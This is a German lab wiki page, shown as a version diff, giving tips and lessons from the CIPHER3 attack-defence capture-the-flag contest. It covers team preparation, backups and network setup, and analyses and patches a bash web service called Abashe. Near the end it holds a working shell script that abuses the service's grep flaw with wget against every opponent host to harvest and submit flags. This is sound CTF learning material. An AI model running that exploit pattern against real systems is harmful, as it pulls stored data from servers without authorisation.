CIPHER3/Tipps fürs nächste Mal...

Aus Labor für Echtzeitsysteme

(Unterschied zwischen Versionen)
Wechseln zu: Navigation, Suche
Version vom 14:29, 24. Jul. 2007 (bearbeiten)
Notdefine (Diskussion | Beiträge)
K (Grundlegenden Aufbau des VM-Servers)
← Zum vorherigen Versionsunterschied
Version vom 16:24, 24. Jul. 2007 (bearbeiten) (rückgängig)
Notdefine (Diskussion | Beiträge)
K (Grundlegender Aufbau der Services)
Zum nächsten Versionsunterschied →
Zeile 29: Zeile 29:
* Jeder Dienst/Service läuft als einzelner Benutzer. * Jeder Dienst/Service läuft als einzelner Benutzer.
* Jeder Dienst/Service läuft auf einem anderen Port. * Jeder Dienst/Service läuft auf einem anderen Port.
-* Ein Service empfängt ein Flag, und beim zweiten kontakt vom Gameserver wird dieses Flag wieder ausgegeben. Der Gameserver identifiziert sich dadurch das in der zweiten Abfrage das Flag selber wieder vorkommt. (wenigstens beim Abasche)+* Ein Service empfängt ein Flag, und beim zweiten kontakt vom Gameserver wird dieses Flag wieder ausgegeben. Der Gameserver identifiziert sich dadurch das in der zweiten Abfrage das Flag selber wieder vorkommt. (wenigstens beim Abashe)
* Man darf sich von den Sachen die die Dienste nebensächlich anbieten nicht irritieren lassen, es geht nur um Flags! * Man darf sich von den Sachen die die Dienste nebensächlich anbieten nicht irritieren lassen, es geht nur um Flags!
* Jeder Service ist in einer eigenen/anderen Programmiersprache geschrieben, daher ist Aufgabenzuordnung wichtig. * Jeder Service ist in einer eigenen/anderen Programmiersprache geschrieben, daher ist Aufgabenzuordnung wichtig.

Version vom 16:24, 24. Jul. 2007

Inhaltsverzeichnis

Anmerkungen

  • Datenbank-Tabellen regelmässig backupen (leider sind beim CIPHER3 die Tabellen von einem Eindringling gelöscht/modifiziert worden; ohne Tabelle kein Dienst...)
  • Zugriff auf den SQL-Server nur für localhost

Anmerkungen von L. Weiler

  • Der eigene Rechner sollte beherrscht werden. Insbesondere Grundlagen wie „Wie stelle ich eine IP-Adresse ein?“ und „Wie arbeite ich mit dem Network-Daemon?“ (wenn einer installiert ist) sollten nicht noch während des Contests gefixt werden.
  • ssh und ssh-keys sollten beherrscht werden können.
  • Backups des /home-Verzeichnisses und der installierten Dienste anlegen, um später, bei einem Überschreiben von einer gegnerischen Gruppe, wieder zurückspielen zu können.
  • Regelmäßige Backups der Dienste nach wichtigen Änderungen, z.B. Fixes für Sicherheitslücken. Evtl. ein Version Control System aufsetzen (CVS, SVN, Git).
  • Den schwierigen Spagat zwischen Fixen des eigenen Dienstes und fetchen von gegnerischen Flags meistern. Wobei in Cipher3 nur ein Flag submittet werden konnte, wenn der eigene Dienst lief.
  • Statische Binaries von wichtigen Applikationen vorbereiten, wie beispielsweise vim (mit Syntax-Highlightning), mc, svn, etc. und auf der Box einspielen.

Anmerkungen von C. Kaczynski

  • Es sollte auf jeden Fall ein "Testlauf" stattfinden. Ein solcher ist z.B. mit den Images von Cipher 2,3 oder Op3nbox möglich. Somit können sich alle Teilnehmer, ein ungefähres Bild von dem machen, was am Contest-Tag zu tun ist.
  • Anhand solcher Testläufe ist evtl. eine Strategie zu entwickeln, die dann am beim tatsächlichen Contest Anwendung findet.
  • sowie die bereits oben genannten Tipps ;-)

Anmerkungen von T. Eimers

Ich persönlich hätte mir viel Zeit sparen können, wenn einige Sachen vorher bekannt gewesen wären, oder man sich diese mal wirklich klar gemacht hätte:

Grundlegenden Aufbau des VM-Servers

  • Es kann keine Software eingespielt werden, wenigstens nicht mit Bord mitteln (Bspl. aptitude).
  • Daraus folgt, wie Lars schon schrieb, das benötigte Software als Statisches Binaries vorliegen muss.
  • Außer den Diensten die zu fixen sind laufen eventuell noch weitere Dienste. Wie in diesem Fall ein Apache Server, auch dessen Konfiguration muss geprüft werden!
  • Es gab mittels dieses Apache eine Hauptseite, die auf die anderen Dienste/Ports verlinkte.

Grundlegender Aufbau der Services

  • Jeder Dienst/Service läuft als einzelner Benutzer.
  • Jeder Dienst/Service läuft auf einem anderen Port.
  • Ein Service empfängt ein Flag, und beim zweiten kontakt vom Gameserver wird dieses Flag wieder ausgegeben. Der Gameserver identifiziert sich dadurch das in der zweiten Abfrage das Flag selber wieder vorkommt. (wenigstens beim Abashe)
  • Man darf sich von den Sachen die die Dienste nebensächlich anbieten nicht irritieren lassen, es geht nur um Flags!
  • Jeder Service ist in einer eigenen/anderen Programmiersprache geschrieben, daher ist Aufgabenzuordnung wichtig.

Gemachte Fehler während des Ciphers

  • Das Passwort zum entschlüsseln des VM-Ware Images wird per eMail zugesandt. Dazu sollte eine eigene eMailadresse ohne Spamfilter eingerichtet werden! Das hat uns fast 15 Minuten in der Vorbereitungsstunde gekostet.
  • Der Public Key Login sollte vorher verteilt und getestet werden, im Cipher hat man keine Zeit sich darum zu kümmern.
  • Datenbank Backup und Dienst Backup. Da jeder dienst in einem anderen home Verzeichnis liegt ist das recht einfach.
  • Genaue Überprüfung der routing Einträge vor dem Cipher.
  • Fehler in der Verkabelung, leider habe ich am Switch bei der Trennung der VM vom VPN in der Vorbereitungsstunde eine Schleife gesteckt, und damit die angeschlossenen PC blockiert, und einem zum Reboot gezwungen.

Vorbereitungen / Verbesserungen

Hardware

Vorschlag für Netzstruktur
Vorschlag für Netzstruktur
  • Linksys Router als VPN hat sich als perfekte Lösung gezeigt.
  • Die Verkabelung war schlecht gewählt, es muss möglich sein die VM vom VPN zu trennen, ohne das die 5 Benutzer PC's von der VM getrennt werden. (Wichtig in der ersten Stunde)
  • Idealerweise ist derjenige der den Router eingerichtet hat auch vor Ort, da er fast der wichtigste Rechner ist.

Software

  • Auf dem VM Server sind nur standard Linux tools verfügbar, wie vim, cp, tar usw.
  • Da, wie schon erwähnt, keine Software nachinstalliert werden kann, kann man nicht mit eigenen Tools arbeiten. Für mich bedeutete dieses Speziell das ich nicht den MidnightCommander, und meinen vertrauten Editor verwenden konnte.
    • Entweder man übt sich in den vi ein, oder
    • man mounted die VM Server Verzeichnisstruktur in seinen Rechner, um mit den bekannten Werkzeugen zu arbeiten. (meine Empfehlung)

Dienste von Cipher 3

Abashe

Abashe ist wie der Name schon verrät ein Webserver in Shell Scripten geschrieben. Als erstes tritt Verwirrung auf, da der laufende Apache diese Scripte nicht ausführt, sondern ein tool namens socat. Mittels socat werden alle Aufrufe auf Port 8282 an das Script abashe.sh weitergeleitet. Socat unterstützt SSL, und verschlüsselt die Verbindung mittels Zertifikat.

 socat OPENSSL-LISTEN:$PORT,fork,reuseaddr,cipher=HIGH,cert=cert.pem,key=key.pem EXEC:./abashe.sh

Danach kann der Abashe Server auf https://localhost:8282/ erreicht werden.

Das abashe.sh Script sendet einfach einen Header für HTTP, und gibt die angeforderte Datei einfach aus! Wenn es eine Datei mit .cgi am ende ist, wird sie in der Bash ausgeführt, und der Output ausgegeben.

abashe.sh

 ...
 MIMETYPE="text/html"     # The default mime-type
 ...
 FILE="$ROOT$URL"
 if echo $URL | grep '?' 2>&1 1>/dev/null
 then
   PARAM=${FILE#*\?}
   FILE=${FILE%\?*}
 fi
 case $CMD in
   GET)
   if test -e $FILE; then
     if echo $URL | grep '.gif'  2>&1 1>/dev/null; then MIMETYPE='image/gif'; fi
     ...
     if echo $URL | grep '.cgi' 2>&1 1>/dev/null
     then
       ...
       HTTPSend 'cgi'
       /bin/bash $FILE
       echo
     else
       HTTPSend
         cat $FILE
           echo
     fi
   else
     HTTPSend
     cat "$ROOT/404"
     echo
   fi
 ...

Da der Abashe Server Flags entgegen nahm, und diese in der Datei database ablegte ergibt sich das erste Problem: Die Datei ist einfach über https://localhost:8282/database auszulesen. Als erster schneller Patch habe ich die Speicherdatei umbenannt. Besser wäre es gewesen, das lesen aller Dateien außer html, gif und jpg zu unterbinden.

Dazu wären folgende ergänzungen nötig:

# Standart Mime Type ist nicht text/html, sondern garnichts.
MIMETYPE=""    # The default mime-type
# Wenn es eine HTML Datei ist, den Mime Type setzen
if echo $URL | grep '.html'  2>&1 1>/dev/null; then MIMETYPE='text/html'; fi
# Wenn mime type nicht gesetzt ist, ist es keine Datei die wir ausliefern wollen!
else
  if [ $MIMETYPE != "" ]; then
    HTTPSend
    cat $FILE
    echo
  fi

Bei Abashe fällt auf, das die Flags in der Datei database landen, ein

 grep database *

Gibt einen die Dateien die wichtig sind für das ein und auslesen der Flags:

 comply_law_enfrogment.cgi:grep $URL $DIR/database | cut -f 1-3 -d ' ' | while read DATE TIME URL ; do
 this_is_where_the_action_takes_place.cgi:echo `date +'%d.%m.%y %H:%M:%S'`" $URL http://$USER:$PASS@$HOST/$FILE?$PARAM" >> $DIR/database

Hierbei ist besonders das Auslesen interessant:

 grep $URL $DIR/database

Das bedeutet das beim Auslesen das gespeicherte Flag mitgegeben wird, und wenn dieses in der Textdatei gefunden wird, wird es entsprechend ausgegben. Hierbei erkennt man sofort das Problem: Auch wenn nur ein Teil des Flags als Parameter übergeben wird, wird das komplette Flag ausgegeben. Noch Schlimmer, in jeder Zeile der Datenbank kommt z.B. ein Punkt vor, das heißt das ein

https://localhost:8282/comply_law_enfrogment.cgi?.

alle gesammelten Flags ausgibt!

Um das zu verhindern habe ich als erstes sichergestellt, das der Aufruf mit einem Flag erfolgt das so lang ist, wie die Flags eben sind:

 len=`echo $URL | wc -m`
 # wc -m retrurns size+1, if it is not a hash the dont continue
 if [ $len -lt 17 ]; then
 echo No acces
 exit
 fi

Das ist leider auch nicht ausreichend, ein

 https://localhost:8282/comply_law_enfrogment.cgi?............................

entlockt immernoch die Flags, daher müßte geprüft werden, ob im Flag nur A-Za-z0-9 vorkommt. Wir ersetzen also alle Sonderzeichen durch [kein zeichen], direkt am Anfang des Scriptes.

 ...
 URL=`echo $QUERY_STRING | sed "s/url=//;"`
 URL=$(echo $URL | sed 's/[^A-Za-z0-9]//g')

Somit werden alles Sonderzeichen aus der URL gelöscht. Also erreichen nurnoch URLs mit normalen Zeichen die vorgebene Länge, und diese findet das grep nur, wenn diese auch in der 'database' stehen.

Hier noch das Script mit dem ich über 500 Flags ausgelesen habe:

Script zum Auslesen der nicht gepatchten Server (get_flags_abashe.sh)

#/bin/sh
# Die IP Adressen gehen von 10.1.1.x bis 10.1.27.x
for i in `seq 1 27`
do
  # Unser eigenes Flag natürlich nicht auslesen !
  if [ $i = 25 ]; then
    continue
  fi
  # Alte gelesene HTML Datei mit Flag löschen
  rm comply_law_enfrogment*
  # Lücke im Sctipt nutzen um Flags auf Fremdrechner auszulesen (Gib mir alle flags zurück, in denen [leer] vorkommt)
  wget "https://10.1.$i.3:8282/comply_law_enfrogment.cgi?submit=" --no-check-certificate --timeout=5 --tries=1
  # Haben wir eine Datei erhalten ?   
  if [ "`cat comply_law_enfrogment.cgi\?submit\=`" ]; then
    # Dann Flag aus HTML Datei rausschneiden
    export FLAG=`cat comply_law_enfrogment.cgi\?submit\=  | cut -d"=" -f3 | grep -v '>' | tail -n 2 | head -n 1`
    echo $FLAG
    len=`echo $FLAG | wc -m`
    # Flag wirklich richtig ausgelesen ?
    if [ $len -lt 30 ]; then
      echo "flag ungueltig"
    else
      if [ -n "$FLAG" ]; then
        # Flag scheint gut zu sein, submitten!
        ./submit-flag.pl "$FLAG"
      else
        echo bad flag
      fi
    fi
  fi
sleep 1
done

revenge

Reveng war ein dienst der mittels eines Startscriptes in /etc/init.d/ gestartet wurde. Zu diesem gab es kein Quellcode so das man Ihn debuggen musste. Leider blieb dafür aber zu wenig Zeit, ich habe nur einen in den Security Anouncements veröffentlichten patch auf das Executable angewandt.

Binarie des Dienstes Reveng

Persönliche Werkzeuge